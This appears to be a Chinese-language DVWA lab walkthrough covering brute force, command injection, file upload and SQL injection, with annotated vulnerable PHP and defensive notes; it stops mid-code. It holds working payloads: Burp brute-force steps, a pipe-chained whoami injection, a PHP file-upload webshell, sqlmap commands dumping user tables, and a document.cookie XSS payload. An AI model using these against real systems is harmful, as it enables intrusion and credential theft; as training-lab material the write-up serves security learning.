Brute Force
Low
先进行一下代码审计
<?php
// 检查是否通过GET请求传递了'Login'参数(注意:这里应该是'username'或类似的,但代码逻辑有误)
if( isset( $_GET[ 'Login' ] ) ) {
// 从GET请求中获取用户名
$user = $_GET[ 'username' ]; // 注意:这里应该是'$_GET['username']',但键名写错了
// 从GET请求中获取密码,并使用MD5算法进行哈希
$pass = $_GET[ 'password' ];
$pass = md5( $pass ); // MD5已不被认为是安全的哈希算法,不应在新开发的应用中使用
// 准备SQL查询语句,用于从数据库中查找用户
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
// 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接
// 如果查询失败,则输出错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 检查查询结果是否存在且仅有一行(即一个匹配的用户)
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 从结果集中获取用户详细信息
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"]; // 获取用户的头像URL
// 登录成功,输出欢迎信息和用户头像
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// 登录失败,输出错误信息
echo "<pre><br />Username and/or password incorrect.</pre>";
}
// 关闭数据库连接(尽管这里使用了三元运算符,但实际上并没有对结果进行任何处理)
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
先在这里说一下,这段php代码没有对输入进行任何的过滤,我们可以采用sql注入去爆破数据库登录,或者使用万能密码 比如 admin or 1 = 1 (原理是or只要前后成立一个即可),这题需要用单引号进行闭合注入
打开BP,进行抓包,输入用户名和密码(随意)
抓包分析,右键发送到intruder中
下面介绍一下BP的爆破方式
Sniper
单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
在password的变蓝的地方添加playload
在这里配置字典,可以看到payload是password的时候长度有变化,所以password就是密码
Battering ram
多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
我们可以看到没有一样的,说明没成功
Pichfork
多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
可以看到当username = admin 并且password= password 是长度和其他的都不同,所以即使账户和密码
Cluster bamb
多参数做笛卡尔乘积模式爆破
可以明显的看到长度不一样
Medium
Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,但无伤大雅,low等级能跑出来的Medium也能跑出来,接下来就让我们进行一下代码审计吧
<?php
// 检查是否通过GET请求提交了Login参数
if( isset( $_GET[ 'Login' ] ) ) {
// 从GET请求中获取用户名,但这里应该使用POST而不是GET来传输敏感信息
$user = $_GET[ 'username' ];
// 尝试对用户名进行转义,但依赖于全局变量___mysqli_ston,这不是一个好的做法
// 更好的做法是将数据库连接作为参数传递给函数或方法
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 从GET请求中获取密码,同样应该使用POST
$pass = $_GET[ 'password' ];
// 对密码进行转义,然后MD5加密。MD5不再被认为是安全的密码存储方式
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// 构造SQL查询语句,但直接将变量插入SQL语句中是不安全的(SQL注入风险)
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
// 执行SQL查询,如果失败则显示错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 检查查询结果是否存在且只有一行
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 获取用户信息
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// 登录成功,但输出用户信息到HTML中可能导致XSS攻击
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// 登录失败,延迟2秒响应
sleep( 2 );
// 输出错误信息
echo "<pre><br />Username and/or password incorrect.</pre>";
}
// 关闭数据库连接,但这里的错误处理是多余的
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High
high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// 检查是否存在CSRF令牌,并与会话令牌匹配,以防止跨站请求伪造
// 假设checkToken函数已经定义,并接受请求令牌、会话令牌和失败时重定向的页面
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 清理用户名输入中的反斜杠
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
// 使用mysqli_real_escape_string防止SQL注入,如果数据库连接存在
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 清理密码输入中的反斜杠
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
// 使用mysqli_real_escape_string防止SQL注入,然后加密密码
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // 使用MD5加密密码,尽管这不是最佳实践(应使用更安全的哈希算法)
// 构造SQL查询语句
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
// 执行查询,如果失败则显示错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 从结果中获取一行用户数据
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"]; // 获取用户头像URL
// 登录成功
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />"; // 显示用户头像
}
else {
// 登录失败,随机延迟0到3秒以减缓暴力破解攻击
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
// 关闭数据库连接(尽管这里的结果赋值操作可能不是最佳实践)
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// 生成新的CSRF令牌并存储在会话中,以便下次请求时验证
generateSessionToken();
?>
进入payload模块第一个选择字典自己添加,第二个选择递归查询
找到Grep-Extract :这个设置能够被用来通过请求返回的信息来获取有用的信息供你使用,也就是说,可以通过它来获得每次请求后返回的Token,关联到Payload中进行暴力破解
在Payload Options中就可以看到自动加载过来的值,将请求包里user_token的值填入到Initial payload for first request(第一个请求的初始负载)中,也可不填,点击Start attack开启爆破!
如下成功了
Impossible
<?php
// 检查是否提交了登录表单
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// 检查Anti-CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 清理用户名输入(尽管在PDO中不需要,但可能是从旧代码迁移而来)
$user = $_POST[ 'username' ];
$user = stripslashes( $user ); // 移除反斜杠(在魔术引号开启时有用,但现代PHP中已废弃)
// 尝试使用全局mysqli连接进行转义,否则报错
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 清理密码输入(同上)
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // 使用MD5哈希密码(不推荐,因为MD5不安全)
// 设置默认值和变量
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// 检查数据库中的用户信息
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// 检查用户是否被锁定
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// 计算用户何时可以重新登录
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
// 如果时间未到,则账户被锁定
if( $timenow < $timeout ) {
$account_locked = true;
}
}
// 检查用户名和密码是否匹配
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// 如果登录有效且账户未锁定
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// 获取用户详细信息
$avatar = $row[ 'avatar' ];
// ...(其他用户信息)
// 登录成功
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
// ...(其他成功消息)
// 重置登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// 登录失败
sleep( rand( 2, 4 ) ); // 延迟响应,可能是为了简单的DoS保护
// 给出反馈
echo "<pre><br />Username and/or password incorrect.<br /><br/>...</pre>";
// 更新登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// 更新最后登录时间
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// 生成Anti-CSRF令牌
generateSessionToken();
?>
关于暴力破解的防护:
-
账户锁定:当登录失败次数超过一定阈值时(本例中为3次),账户将被锁定一段时间(本例中为15分钟)。这减少了暴力破解尝试的成功机会,因为攻击者需要等待账户解锁才能继续尝试。
-
延迟响应:在登录失败时,服务器会随机延迟响应(2到4秒)。这增加了攻击者进行大量尝试所需的时间,从而降低了暴力破解的效率。
-
Anti-CSRF令牌:通过检查CSRF令牌,可以防止跨站请求伪造攻击,这虽然不是直接针对暴力破解的防护,但增强了系统的整体安全性。
然而,需要注意的是,MD5哈希密码是不安全的,因为它容易受到彩虹表攻击。建议使用更安全的哈希算法,如bcrypt。此外,代码中的stripslashes
和mysqli_real_escape_string
在PDO环境下是多余的,因为PDO已经通过预处理语句和参数绑定来防止SQL注入。
Command Injection
Low
先来进行一下代码审计
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; //提交参数port,get和cookie都可以,获取IP地址
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {//判断是否为window系统,不是则为unix或者linux
// Windows
$cmd = shell_exec( 'ping ' . $target );//执行ping命令
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以看到这段代码先是获取了用户输入的IP地址,在获取了才做系统,我们可以尝试用&&,||等连接符号连起来
可以看到这里不仅执行ping 127.0.0.1的命令,还执行了whoami这条命令(它显示了当此命令被调用时当前用户的用户名),也可以执行其他的命令比如nestat -an
可以看到端口监听的状况、还有ipconfig,net user等等
Mediu
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);//这里把 &&和 ;给过滤了
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
我们可以用|| 或者& 等等
High
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);//这里几乎把所有的都过滤了
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
但仔细看|符号后面有个空格,所以我们构造
payload :127.0.0.1 |whoami
记住不要|和whoami之间不要有空格
Impossible
<?php
// 检查是否通过POST方法提交了表单(特别是检查'Submit'按钮是否被点击)
if( isset( $_POST[ 'Submit' ] ) ) {
// 验证CSRF令牌以防止跨站请求伪造
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 从请求中获取IP地址
$target = $_REQUEST[ 'ip' ];
// 使用stripslashes函数去除字符串中的反斜杠(尽管在处理IP地址时可能不是必需的)
$target = stripslashes( $target );
// 使用explode函数以点(.)为分隔符将IP地址分割成四个部分(八位字节)
$octet = explode( ".", $target );
// 检查每个部分(八位字节)是否都是整数,并且数组的大小正好是4
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果所有四个部分都是整数,则将它们重新组合成IP地址
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 根据操作系统类型执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 如果是Windows系统,执行不带次数限制的ping命令
$cmd = shell_exec( 'ping ' . $target );
}
else {
// 如果是*nix系统,执行带次数限制(4次)的ping命令
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 将ping命令的输出以预格式化的方式显示给用户
echo "<pre>{$cmd}</pre>";
}
else {
// 如果IP地址无效,显示错误信息
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成新的CSRF令牌并存储在会话中(注意:这里假设generateSessionToken函数负责这项工作)
generateSessionToken();
?>
IP地址验证:脚本通过分割和检查每个八位字节来验证输入的IP地址是否有效。然而,这种方法虽然基本,但并不完全安全,因为它没有检查每个八位字节是否在0到255的范围内。
在这个脚本中,没有直接对输出进行HTML转义,这可能导致跨站脚本攻击(XSS)的风险,尽管在这个特定的例子中,由于输出的是命令执行的结果,这种风险可能较低。然而,在将用户输入直接嵌入到HTML输出中时,始终应该进行转义。
Cross Site Request Forgery (CSRF)
Low
Mediu
High
Impossible
File Inclusion
Low
Mediu
High
Impossible
File Upload
Low
首先我们准备一个一句话木马文件
<?php phpinfo();?>
1、访问页面有一个文件上传点
2、直接上传123.php
3、访问文件
Mediu
1、直接上传123.php文件
2、修改123.php文件名为456.jpg,上传时通过burp抓取上传请求包,将456.jpg修改为456.php
3、上传成功 访问文件
High
1、当我们使用第二关的方式时,显示
2、查询后端源代码
strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
对后缀名进行了判断
3、可通过文件包含漏洞结合使用,首先制作图片马
4、使用文件包含漏洞模块中的low关, 进行加载图片,成功解析
Impossible
if( isset( $_POST[ 'Upload' ] ) ) {
// 检查是否有上传表单提交
}
// 检查Anti-CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 此函数检查提交的CSRF令牌是否与会话中的令牌匹配,以防止跨站请求伪造
// 获取上传文件的各项信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
// 文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
// 文件扩展名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// 文件大小
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
// MIME类型
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// 临时文件名
// 目标路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
// 注意:DVWA_WEB_PAGE_TO_ROOT 是一个未在代码中定义的常量,应该是环境或配置文件中的定义
// 生成目标文件名(使用md5确保唯一性)
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// 临时文件的完整路径
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// 检查文件是否为图像文件
if( ... ) {
// 检查文件扩展名、大小、MIME类型,并使用getimagesize验证图像文件
}
// 根据文件类型重新编码图像以剥离元数据
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
} else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// 这里使用GD库重新创建图像文件,以此移除可能存在的元数据
// 将文件从临时目录移动到目标目录
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// 如果移动成功,显示成功消息和链接
} else {
// 如果移动失败,显示错误消息
}
// 删除临时文件
if( file_exists( $temp_file ) )
unlink( $temp_file );
// 无效文件类型时的错误消息
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
// 生成Anti-CSRF令牌(虽然在这个代码片段中位置有些靠后,但假设它在合适的位置被调用)
generateSessionToken();
SQL Injection
Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
payload:python sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low" --batch --dbs
上面的直接采用的sqlmap自动化注入
Mediu
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
可以看到是POST提交,直接抓包,sqlmap具体看sql注入的盲注
High
看sql注入的盲注,
Impossible
<?php
// 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证
if( isset( $_GET[ 'Submit' ] ) ) {
// 检查Anti-CSRF token
// 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token
// 这样做可以防止跨站请求伪造攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 从GET请求中获取'id'参数
$id = $_GET[ 'id' ];
// 检查是否输入了数字
// 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字)
if(is_numeric( $id )) {
// 使用PDO准备SQL查询语句,以预防SQL注入攻击
// 这里使用了参数化查询来绑定变量
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
// 绑定参数':id'到变量$id,并指定参数类型为整数
$data->bindParam( ':id', $id, PDO::PARAM_INT );
// 执行SQL查询
$data->execute();
// 检查查询结果中的行数
if( $data->rowCount() == 1 ) {
// 如果找到一行结果,说明用户ID存在于数据库中
// 反馈给用户
echo '<pre>User ID exists in the database.</pre>';
}
else {
// 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// 反馈给用户
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// 生成一个新的Anti-CSRF token并存储在会话中
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的
generateSessionToken();
?>
-
CSRF保护:通过检查请求中的
user_token
与会话中存储的session_token
是否一致,来防止CSRF攻击。 -
SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。
-
输入验证:通过
is_numeric()
函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。
SQL Injection (Blind)
Low
<?php
// 开始PHP代码块
if( isset( $_GET[ 'Submit' ] ) ) {
// 检查是否存在名为'Submit'的GET请求参数,这通常意味着表单被提交了
// Get input
$id = $_GET[ 'id' ];
// 从GET请求中获取名为'id'的参数值,并将其存储在变量$id中
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 构建一个SQL查询字符串,用于从'users'表中检索与给定$id相匹配的用户的'first_name'和'last_name'
// 注意:这里直接将$id插入到SQL查询中,存在SQL注入的风险
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
// 使用全局变量$GLOBALS["___mysqli_ston"](一个预定义的MySQLi连接)来执行上面构建的SQL查询
// mysqli_query()函数返回查询结果集,如果查询失败则返回false
// 注意:移除了'or die'部分以抑制MySQL错误,这不是一个好的做法,因为它会隐藏问题
// Get results
$num = @mysqli_num_rows( $result );
// 使用@操作符来抑制mysqli_num_rows()函数可能产生的任何错误
// mysqli_num_rows()函数返回结果集中的行数
// 如果$result不是有效的结果集或查询失败,这个调用可能失败,但由于@操作符,错误会被抑制
if( $num > 0 ) {
// 如果查询结果中的行数大于0,说明找到了匹配的用户ID
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
// 向用户显示反馈,告知他们用户ID存在于数据库中
}
else {
// 如果没有找到匹配的用户ID
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// 设置HTTP头部信息,告诉浏览器这是一个404 Not Found错误
// 这通常用于指示请求的资源(在这种情况下是用户ID)不存在
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
// 尽管已经设置了404头部,但代码仍然继续执行并显示这条消息
// 这通常不是最佳实践,因为一旦设置了404头部,通常应该停止向客户端发送更多内容
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
// 尝试关闭MySQLi连接,并将结果存储在变量$___mysqli_res中
// 然后,使用三元运算符检查$___mysqli_res是否为null
// 但实际上,这个三元运算符的结果没有被用于任何操作,这可能是一个无用的代码行
// 更好的做法是简单地调用mysqli_close()并忽略其返回值
}
?>
// 结束PHP代码块
盲注直接采用sqlmap进行自动化注入
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs
会302,因为当我们直接访问该链接的时候,会要求我们进行登录,故需要cookie值
怎末获取呢,我们可以在xss(reflected)这里进行爆cookie
payload:<a href=javascript:alert(document.cookie)>123456</a>
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆库
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa --tables --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆表
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa -T users --dump --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆字段
Mediu
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
可以看到提交方式是post所以我们需要抓包进行sqlmap的注入
python sqlmap.py -r"E://1.txt" -batch --dbs//爆库
python sqlmap.py -r"E://1.txt" -batch -D dvwa --tables //爆表
python sqlmap.py -r"E://1.txt" -batch -D dvwa -T users --dump //爆字段
1.txt里的是BP抓包的内容
High
<?php
// 检查是否存在名为'id'的cookie
if( isset( $_COOKIE[ 'id' ] ) ) {
// 从cookie中获取'id'的值
$id = $_COOKIE[ 'id' ];
// 准备SQL查询语句,用于从users表中根据user_id查询first_name和last_name
// 注意:这里直接将$id拼接到SQL语句中,存在SQL注入的风险
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接
// 注意:这里移除了'or die'部分来抑制错误消息,但这会使得错误更难被调试
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
// 检查查询结果是否有多于0行,即是否找到了对应的用户
// 使用'@'来抑制错误,这同样隐藏了潜在的问题
$num = @mysqli_num_rows( $result );
if( $num > 0 ) {
// 如果找到了用户,输出反馈
echo '<pre>User ID exists in the database.</pre>';
}
else {
// 如果用户不存在,可能会随机等待一段时间(2到4秒)
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// 发送HTTP 404状态码,表示用户未找到
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// 输出用户未找到的反馈
// 注意:在发送header后输出内容通常不是最佳实践,因为header应该在输出任何内容之前发送
echo '<pre>User ID is MISSING from the database.</pre>';
}
// 关闭数据库连接,使用全局变量$GLOBALS["___mysqli_ston"]
// 注意:这里使用了三元运算符来检查关闭操作是否成功,但结果并未被使用
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这里采用了链接,双页面,可以抓包获取cookie,也可以向Low一样在Xss管卡进行爆cookie
python sqlmap.py -u "http://dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=high" --batch -D dvwa --tables --thread 10
Impossible
<?php
// 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证
if( isset( $_GET[ 'Submit' ] ) ) {
// 检查Anti-CSRF token
// 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token
// 这样做可以防止跨站请求伪造攻击
